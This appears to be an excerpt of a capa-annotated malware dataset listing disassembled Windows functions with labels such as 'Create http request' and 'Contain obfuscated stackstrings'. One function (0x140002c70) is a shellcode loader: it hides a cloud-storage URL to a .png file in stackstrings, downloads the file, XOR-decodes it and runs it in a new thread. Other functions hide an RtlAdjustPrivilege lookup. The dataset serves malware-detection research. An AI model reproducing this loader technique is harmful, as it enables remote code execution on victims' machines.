joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180011f80
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostExecuteRequestHandler_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180011fa0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnReleaseRequestState_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180011fc0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostReleaseRequestState_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180011fe0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnUpdateRequestCache_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012000
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostUpdateRequestCache_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012020
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnLogRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012040
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostLogRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret
Function at 0x180012060
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnEndRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012080
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostEndRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800120a0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnSendResponse_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800120c0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnMapPath_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800120e0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnReadEntity_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012100
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnCustomRequestNotification_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012120
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnAsyncCompletion_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret
Function at 0x180015c84
Capabilities:
Create http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and dword [rcx + 0x20], 0
and qword [rcx + 0x18], 0
lea rax, vtable.CInternetSession.0
mov qword [rcx], rax
mov edi, r9d
mov r10, rdx
mov rbx, rcx
mov qword [rcx + 8], r8
test rdx, rdx
jne 0x180015cbc
call fcn.180015344
mov r10, qword [rax + 0x20]
mov eax, dword [rsp + 0x70]
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x60]
mov edx, edi
mov rcx, r10
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x180015cf1
mov rcx, qword [rbx + 8]
xor edx, edx
call fcn.180015bf4
int3
lea rcx, [0x180058b58]
call fcn.1800155d0
lea rcx, [0x180058b20]
mov rdx, rdi
call fcn.180022e74
lea rcx, [0x180058b58]
mov qword [rax], rbx
mov rax, qword [0x180058b58]
call qword [rax + 0x28]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180016b44
Capabilities:
Connect to http server

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
movzx ebx, r9w
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
mov rax, qword [rsp + 0x90]
mov qword [r11 - 0x38], rax
call fcn.180016ae0
nop
lea rax, vtable.CHttpConnection.0
mov qword [rdi], rax
call fcn.1800133dc
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x180016bad
mov ecx, 0x80004005
call fcn.1800016d0
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rdi + 0x30], rax
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x80]
movzx r8d, bx
mov rdx, rsi
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rsi, rax
mov qword [rdi + 8], rax
test rax, rax
jne 0x180016c12
xor edx, edx
mov rcx, qword [rdi + 0x10]
call fcn.180015bf4
int3
mov rbx, qword [rdi + 0x18]
lea rcx, [0x180058b58]
call fcn.1800155d0
mov rdx, rsi
lea rcx, [0x180058b20]
call fcn.180022e74
mov qword [rax], rbx
lea rcx, [0x180058b58]
mov rax, qword [0x180058b58]
call qword [rax + 0x28]
nop
mov rax, rdi
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x18001b0e4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.180019190
mov rsi, rax
test rax, rax
je 0x18001b160
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x18001b15b
cmp dword [rbx], 0x40
jb 0x18001b15b
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x18001b15b
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x18001b164
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180026534
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.18002d244
nop
cmp dword [0x18005c488], 1
je 0x1800264e0
mov dword [0x18005c484], 1
mov byte [0x18005c480], r12b
test ebx, ebx
jne 0x1800264cc
mov rcx, qword [0x18005e7a0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1800264b9
mov rcx, qword [0x18005e798]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x180026458
call fcn.18002aa70
cmp qword [rdi], rax
jne 0x180026458
jmp 0x18002643e
cmp rdi, rsi
jb 0x1800264b9
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.18002aa70
mov qword [rdi], rax
call rbx
mov rcx, qword [0x18005e7a0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x18005e798]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x180026497
cmp r13, rax
je 0x1800264b7
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x18002643e
lea rdx, [0x180041ab0]
lea rcx, [0x180041a98]
call fcn.180026288
lea rdx, [0x180041ac0]
lea rcx, [0x180041ab8]
call fcn.180026288
nop
test r12d, r12d
je 0x1800264ef
mov ecx, 8
call fcn.18002d144
test r12d, r12d
jne 0x18002651a
mov dword [0x18005c488], 1
lea ecx, [r12 + 8]
call fcn.18002d144
mov ecx, r15d
call fcn.18002621c
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x1800263a8

Function at 0x180026540
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1800263a8
Function at 0x18002a9c3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1800572b0]
jne 0x180025cea
rol rcx, 0x10
test cx, 0xffff
jne 0x180025ce6
repz ret
ror rcx, 0x10
jmp 0x18002a91c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18005c550]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x18005c648]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18002a9a1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18005c550]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18002a9c3
mov rax, qword [rsp + 0x88]
mov qword [0x18005c648], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18005c5e8], rax
mov rax, qword [0x18005c648]
mov qword [0x18005c4c0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18005c5d0], rax
mov dword [0x18005c4b0], 0xc0000409
mov dword [0x18005c4b4], 1
mov rax, qword [0x1800572b0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1800572b8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18005c548], eax
mov ecx, 1
call fcn.1800346f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180045a18]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18005c548], 0
jne 0x18002aa4a
mov ecx, 1
call fcn.1800346f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180035518
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.18002aa70
xor ebx, ebx
mov rdi, rax
cmp qword [0x18005d238], rbx
jne 0x18003561e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1800356f3
lea rdx, [0x180046c58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800356f3
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x180046c48]
mov rcx, rsi
mov qword [0x18005d238], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x180046c30]
mov rcx, rsi
mov qword [0x18005d240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x18005d248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x18005d258], rax
test rax, rax
je 0x180035615
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x18005d250], rax
jmp 0x180035625
mov rax, qword [0x18005d250]
jmp 0x18003562c
mov rax, qword [0x18005d250]
mov r11, qword [0x18005d258]
cmp rax, rdi
je 0x180035694
cmp r11, rdi
je 0x180035694
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x18005d258]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x180035694
test rax, rax
je 0x180035694
call rsi
test rax, rax
je 0x18003568e
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18003568e
test byte [rsp + 0x38], 1
jne 0x180035694
bts ebp, 0x15
jmp 0x1800356d2
mov rcx, qword [0x18005d240]
cmp rcx, rdi
je 0x1800356d2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1800356d2
call rax
mov rbx, rax
test rax, rax
je 0x1800356d2
mov rcx, qword [0x18005d248]
cmp rcx, rdi
je 0x1800356d2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1800356d2
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18005d238]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1800356f3
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1800356f5
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140002c70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xf0
mov eax, 0x79
xor r13d, r13d
lea r8, [rbp + 0x67]
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x59]
mov dword [rbp - 0x59], 0x740068
mov dword [rbp - 0x55], 0x700074
mov dword [rbp - 0x51], 0x3a0073
mov dword [rbp - 0x4d], 0x2f002f
mov dword [rbp - 0x49], 0x610062
mov dword [rbp - 0x45], 0x640069
mov dword [rbp - 0x41], 0x310075
mov dword [rbp - 0x3d], 0x2d0033
mov dword [rbp - 0x39], 0x330031
mov dword [rbp - 0x35], 0x360032
mov dword [rbp - 0x31], 0x300031
mov dword [rbp - 0x2d], 0x300031
mov dword [rbp - 0x29], 0x380032
mov dword [rbp - 0x25], 0x63002e
mov dword [rbp - 0x21], 0x73006f
mov dword [rbp - 0x1d], 0x61002e
mov dword [rbp - 0x19], 0x2d0070
mov dword [rbp - 0x15], 0x6f0068
mov dword [rbp - 0x11], 0x67006e
mov dword [rbp - 0xd], 0x6f006b
mov dword [rbp - 9], 0x67006e
mov dword [rbp - 5], 0x6d002e
mov word [rbp - 1], ax
mov dword [rbp + 1], 0x630071
mov dword [rbp + 5], 0x6f006c
mov dword [rbp + 9], 0x640075
mov dword [rbp + 0xd], 0x63002e
mov dword [rbp + 0x11], 0x6d006f
mov dword [rbp + 0x15], 0x37002f
mov dword [rbp + 0x19], 0x2e0037
mov dword [rbp + 0x1d], 0x6e0070
mov dword [rbp + 0x21], 0x67
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.140002780
test al, al
jne 0x140002dad
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140002ec2
call fcn.140008690
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x140002dce
nop dword [rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x140002dc0
mov rsi, qword [rax + 0x10]
mov rcx, rsi
call fcn.140002700
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov rdi, rax
mov dword [rsp + 0x40], 0x74726956
mov dword [rsp + 0x44], 0x506c6175
mov dword [rsp + 0x48], 0x65746f72
mov word [rbp - 0x7d], 0x7463
mov byte [rbp - 0x7b], r13b
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], r13b
mov dword [rbp - 0x79], 0x74696157
mov dword [rbp - 0x75], 0x53726f46
mov dword [rbp - 0x71], 0x6c676e69
mov dword [rbp - 0x6d], 0x6a624f65
mov dword [rbp - 0x69], 0x746365
call rdi
lea rdx, [rsp + 0x30]
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, [rbp - 0x79]
mov rcx, rsi
mov r12, rax
call rdi
mov rdi, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rcx, rdi
mov rsi, rax
call rbx
movsxd rdx, dword [rbp + 0x67]
mov r9, rdx
test edx, edx
je 0x140002e9b
mov rcx, rdi
nop dword [rax]
xor byte [rcx], 0x69
inc rcx
dec r9
jne 0x140002e90
mov rcx, rdi
call fcn.140002be0
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x148]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400075e0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.14000759c
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x14000899c
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x1400089be
mov rcx, qword [rsp + 0x40]
call fcn.14000cd78
jmp 0x1400089d5
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x1400089d5
mov rcx, qword [rsp + 0x40]
call fcn.14000cba0
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140008e0c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov rax, qword [0x1400871c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x30], 0x6e
mov byte [rsp + 0x31], 0x74
mov byte [rsp + 0x32], 0x64
mov byte [rsp + 0x33], 0x6c
mov byte [rsp + 0x34], 0x6c
mov byte [rsp + 0x35], 0x2e
mov byte [rsp + 0x36], 0x64
mov byte [rsp + 0x37], 0x6c
mov byte [rsp + 0x38], 0x6c
mov byte [rsp + 0x39], 0
mov byte [rsp + 0x40], 0x52
mov byte [rsp + 0x41], 0x74
mov byte [rsp + 0x42], 0x6c
mov byte [rsp + 0x43], 0x41
mov byte [rsp + 0x44], 0x64
mov byte [rsp + 0x45], 0x6a
mov byte [rsp + 0x46], 0x75
mov byte [rsp + 0x47], 0x73
mov byte [rsp + 0x48], 0x74
mov byte [rsp + 0x49], 0x50
mov byte [rsp + 0x4a], 0x72
mov byte [rsp + 0x4b], 0x69
mov byte [rsp + 0x4c], 0x76
mov byte [rsp + 0x4d], 0x69
mov byte [rsp + 0x4e], 0x6c
mov byte [rsp + 0x4f], 0x65
mov byte [rsp + 0x50], 0x67
mov byte [rsp + 0x51], 0x65
mov byte [rsp + 0x52], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.14000a698
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x28]
mov r8b, byte [rsp + 0x80]
mov dl, byte [rsp + 0x78]
mov ecx, dword [rsp + 0x70]
call qword [rsp + 0x20]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140043850
add rsp, 0x68
ret
Function at 0x1400092e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x1400871c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov eax, 0x75
mov word [rsp + 0x40], ax
mov eax, 0x73
mov word [rsp + 0x42], ax
mov eax, 0x65
mov word [rsp + 0x44], ax
mov eax, 0x72
mov word [rsp + 0x46], ax
mov eax, 0x33
mov word [rsp + 0x48], ax
mov eax, 0x32
mov word [rsp + 0x4a], ax
mov eax, 0x2e
mov word [rsp + 0x4c], ax
mov eax, 0x64
mov word [rsp + 0x4e], ax
mov eax, 0x6c
mov word [rsp + 0x50], ax
mov eax, 0x6c
mov word [rsp + 0x52], ax
xor eax, eax
mov word [rsp + 0x54], ax
mov byte [rsp + 0x30], 0x4d
mov byte [rsp + 0x31], 0x65
mov byte [rsp + 0x32], 0x73
mov byte [rsp + 0x33], 0x73
mov byte [rsp + 0x34], 0x61
mov byte [rsp + 0x35], 0x67
mov byte [rsp + 0x36], 0x65
mov byte [rsp + 0x37], 0x42
mov byte [rsp + 0x38], 0x6f
mov byte [rsp + 0x39], 0x78
mov byte [rsp + 0x3a], 0x57
mov byte [rsp + 0x3b], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14000940e
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140009403
mov r9d, dword [rsp + 0x88]
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x28]
jmp 0x140009410
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140043850
add rsp, 0x68
ret